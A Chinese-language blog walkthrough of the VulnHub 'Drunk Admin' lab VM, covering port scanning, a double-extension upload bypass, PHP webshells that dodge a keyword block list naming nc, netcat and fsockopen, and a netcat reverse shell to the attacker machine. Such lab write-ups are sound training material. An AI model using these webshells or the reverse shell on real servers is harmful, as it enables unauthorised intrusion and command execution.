• VulnHub Drunk Admin Web Hacking Challenge: 1


    Description

    • Name: Drunk Admin Web Hacking Challenge: 1
    • Date release: 2 Apr 2012
    • IP地址默认通过DHCP获取,通过其Web服务上可能存在的漏洞,来读取系统中隐藏的文件,Web服务是自定义的,因而不必通过搜索引擎去查找相关的Poc
    • 最终目标:揭示加密信息中的内容

    Download

    (Size: 539 MB)

    前言

    发布时间:2 Apr 2012

    靶机IP:10.101.27.241

    攻击机IP(Kalli):10.101.27.128

    image.png

    端口扫描

    nmap -sV 10.101.27.241 -p1-65536
    

    发现22端口开启了ssh服务以及8880端口的http服务

    image.png

    访问8880端口的服务,发现是一个图片上传的web应用

    image.png

    扫描网站目录

    image-20200624142300550

    尝试访问下发现

    image-20200624142404546

    木马上传

    得从图片上传入手,发现上传非图片格式后缀文件,会显示:Invalid file extension!,将后缀名改为.php.jpg后上传成功

    image-20200624143144997

    图片地址为:http://10.101.27.241:8880/images/b864b86cfa7d0935f61dac5eac9e91e8.jpg,可以看到图片文件名被修改后存入,猜测为MD5,通过hash-identifier验证

    image-20200624143422517.png

    可以得知存储的文件名的规则为文件名的MD5值加上文件后缀

    image-20200624143856940.png

    发现上传.jpg.php也是可以的,在文件中写入:

    <?php echo "success";?>
    

    计算pic.jpg.php的MD5值,然后访问发现php代码被执行了

    尝试写入一句话木马,

    <?php echo exec($_GET[“cmd”]); ?>
    

    上传后显示:Ohhh you are naughty!,可见进行了过滤被拦截

    通过file_get_contents函数查看upload.php文件的内容

    <?php echo file_get_contents('../upload.php');?>
    

    简单整理之后如下:

    <?php
    (MAX_SIZE*1024) { 
        echo 'You have exceeded the size limit!'; 
        $errors=1; 
    } 
    $raw_name=md5($image); 
    $image_name=md5($image).'.'.$extension; 
    $newname="images/".$image_name; 
    $copied = copy($_FILES['image']['tmp_name'], $newname); 
    if (!$copied) { 
        echo 'Copy unsuccessful!'; 
        $errors=1; 
    } 
    else { 
        echo 'Invalid file extension!'; 
        $errors=1; 
    } 
    else { 
        echo 'No image selected. Be carefull next time!'; 
        $errors=1; 
    } 
    else { 
        echo 'No data? Come on give me something to play with!'; 
        $errors=1; 
    } 
    if(isset($_POST['Submit']) && !$errors) { 
        $file = file_get_contents("./images/$image_name"); 
        if( strpos($file,"perl") || 
           strpos($file,"bash") || 
           strpos($file,"sh -c") || 
           strpos($file,"python") || 
           strpos($file,"nc ") || 
           strpos($file,"netcat") || 
           strpos($file,"base64") || 
           strpos($file,"ruby") || 
           strpos($file,"fsockopen") || 
           strpos($file,"xterm") || 
           strpos($file,"gcc") || 
           strpos($file,'$_GET') || 
           strpos($file,'$_POST') || 
           strpos($file,'$_SERVER') || 
           strpos($file,'$_FILES') || 
           strpos($file,'$_COOKIE') ) { 
            echo "Ohhh you are naughty!"; 
            exec("rm ./images/$image_name"); 
            die; 
        } 
        setcookie("trypios", "$raw_name", time()+3600); 
        echo ''; 
    } 
    ?> 
    

    命令执行

    可以看到对'$_GET'进行了过滤,所以在开始上传一句话木马的时候输出:"Ohhh you are naughty!",于是乎构造如下木马:

    // filename:pic.jpg.php
    // URL:http://10.101.27.241:8880/images/5fc28369a5fe906d8d884a82e1dafb8b.php?cmd=id
    <?php echo exec($_REQUEST['cmd'])  ?>
    

    image-20200624152934641

    反弹shell

    在kali上监听446端口

    nc -nvlp 446
    

    然后访问执行命令:

    http://10.101.27.241:8880/images/5fc28369a5fe906d8d884a82e1dafb8b.php?cmd=nc%2010.101.27.128%20446%20-e%20/bin/bash
    

    1.png

    成功get shell,使用python提供的pty模块来获取一个标准的shell

    python -c 'import pty;pty.spawn("/bin/bash")'
    

    任务

    FINAL GOAL: Reveal the hidden message for a date arrange that Bob sent to Alice.

    靶机描述中的最终目标就找到隐藏的信息,先查看下www文件夹下面都有什么

    image.png

    发现有个.proof的隐藏文件,查看一下,发现加密字符串:TGglMUxecjJDSDclN1Ej

    image.png

    看起来像是base64,解密试试,得到:Lh%1L^r2CH7%7Q# ,看不出来什么东西

    image-20200624205325072.png

    尝试搜索一波包含encrypt的文件

    find / -name "*encrypt*" 2>&1 | sed '/Permission denied/d;'
    

    image.png

    发现/home/bob/public_html/encrypt.php似乎有些东西,进入该文件所在的目录

    image.png

    文件位于public_html说明可以直接通过浏览器来进行访问,于是访问:http://10.101.27.241:8880/~bob/index.php

    image.png

    看起来是一个解密的应用,将刚刚base64解出来的字符串放进去试一试,得到一个经纬度的坐标,通过Google地图查看下,是在:Akti Tompazi, Chania 731 32, Greece

    image.png

    image.png

    参考

    http://www.cyberry.co.uk/vulnhub/drunk-admin-web-hacking-challenge-1/

  • 相关阅读:
    创建github怎样管理
    端口号的作用
    正则
    分布式代码管理github
    实现MVC
    AngularJS核心特性(四大点)
    什么是跨域,什么是同源
    rem怎么计算
    正则须知(以后还会添加)
    LA 6448 Credit Card Payment
  • 原文地址:https://www.cnblogs.com/yoloyanng/p/13189941.html
Copyright © 2020-2023  润新知